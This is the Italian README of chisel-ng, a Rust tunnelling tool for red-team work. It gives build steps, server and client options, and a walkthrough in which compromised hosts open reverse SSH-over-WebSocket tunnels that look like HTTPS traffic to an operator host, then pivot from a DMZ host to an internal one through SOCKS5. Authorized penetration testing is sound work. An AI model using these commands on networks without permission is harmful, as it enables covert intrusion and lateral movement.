
Chisel nuova generazione, scritto in rust. SSH su WSS con alcune personalizzazioni.
_ _ _
___| |__ (_)___ ___| | _ __ __ _
/ __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
| (__| | | | \__ \ __/ |_____| | | | (_| |
\___|_| |_|_|___/\___|_| |_| |_|\__, |
|___/
Un'implementazione in Rust di chisel per test di penetrazione e operazioni red team. Stabilisce tunnel inversi su SSH-over-WebSocket-over-TLS, consentendo agli operatori di pivotare attraverso host compromessi mimetizzandosi con il normale traffico HTTPS.
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
I binari vengono generati in target/release/: chisel-server, chisel-client, chisel-bind-client
1. Avvia il server (operatore):
./chisel-server -p 'secret' -v
2. Esegui il client (target):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. Crea tunnel:
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. Accedi ai servizi interni:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| Operatore | | Rete target |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (su TLS) | | (inverso) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
Stack di protocollo:
TCP -> TLS 1.3 -> WebSocket -> SSH -> Dati del tunnel
^
appare come HTTPS
Modalità client:
chisel-client) – Si connette in uscita verso il serverchisel-bind-client) – Ascolta connessioni in entrata; il server usa il comando connectOPZIONI:
-l, --listen <ADDR> Indirizzo di ascolto [default: 0.0.0.0:8443]
-p, --psk <PSK> Chiave precondivisa o passphrase [env: CHISEL_PSK]
--cert <FILE> Certificato TLS (PEM)
--key <FILE> Chiave privata TLS (PEM)
--generate-psk Genera un PSK casuale ed esce
-v, --verbose Output verboso
OPZIONI:
-s, --server <ADDR> Indirizzo del server (host:porta)
-p, --psk <PSK> Chiave precondivisa o passphrase [env: CHISEL_PSK]
-u, --user <LABEL> Etichetta della sessione [default: agent]
-k, --insecure Salta la verifica TLS
--no-reconnect Disabilita la riconnessione automatica
-i, --interval <SECS> Intervallo di riconnessione [default: 30]
--heartbeat <SECS> Intervallo heartbeat [default: 30]
-v, --verbose Output verboso
Per target che possono accettare connessioni in entrata ma non avviare connessioni in uscita:
OPZIONI:
-l, --listen <ADDR> Indirizzo di ascolto (es. 0.0.0.0:9000)
-p, --psk <PSK> Chiave precondivisa o passphrase [env: CHISEL_PSK]
-u, --user <LABEL> Etichetta della sessione [default: agent]
-k, --insecure Salta la verifica TLS
--heartbeat <SECS> Intervallo heartbeat [default: 30]
-v, --verbose Output verboso
Menu principale:
sessions Elenca le sessioni connesse
session <id> Seleziona una sessione
connect <ip:port> Connetti a un client bind
disconnect <id> Disconnetti la sessione (si riconnetterà)
kill <id> Termina il processo client
Menu sessione:
tunnel <locale>:<ip_target>:<porta_target> Crea un tunnel
tunnel --local <locale>:<target>:<porta> Crea un tunnel (solo localhost)
tunnel stop <porta> Arresta il tunnel
tunnels Elenca i tunnel
socks5 <porta> Avvia il proxy SOCKS5
socks5 stop <porta> Arresta il proxy SOCKS5
ping Misura la latenza
ps Elenca i processi remoti
netstat Elenca le connessioni remote
Raggiungi reti isolate concatenando sessioni esistenti.
Scenario: L'host nella DMZ può raggiungere l'operatore. L'host interno (10.0.0.50) può essere raggiunto solo dalla DMZ.
+----------+ +-----------+ +------------+
| Operatore|--SSH---| Sessione 1|--TCP---| Sessione 2 |
| Server | | (DMZ) | | (INTERNO) |
+----------+ +-----------+ +------------+
Passo 1 - Avvia il server (operatore):
./chisel-server -p 'secret' -v
Passo 2 - Esegui il client inverso (host DMZ):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
Passo 3 - Esegui il client bind (host interno a 10.0.0.50):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
Passo 4 - Crea un tunnel e connetti (CLI del server):
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel avviato su 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Sessione 2 registrata
chisel-ng> session 2
[session-2] INTERNO > socks5 1080
Quando si crea un tunnel (tunnel 8080:192.168.1.100:80):
Destinazioni dinamiche tramite handshake RFC 1928. Restituisce codici di errore appropriati per risultati accurati di scansione delle porte.
Le build di rilascio sono indurite:
--heartbeat 0Questo strumento è destinato esclusivamente a test di sicurezza autorizzati. Ottenere la dovuta autorizzazione prima dell'uso. Gli autori non sono responsabili per un uso improprio.
MIT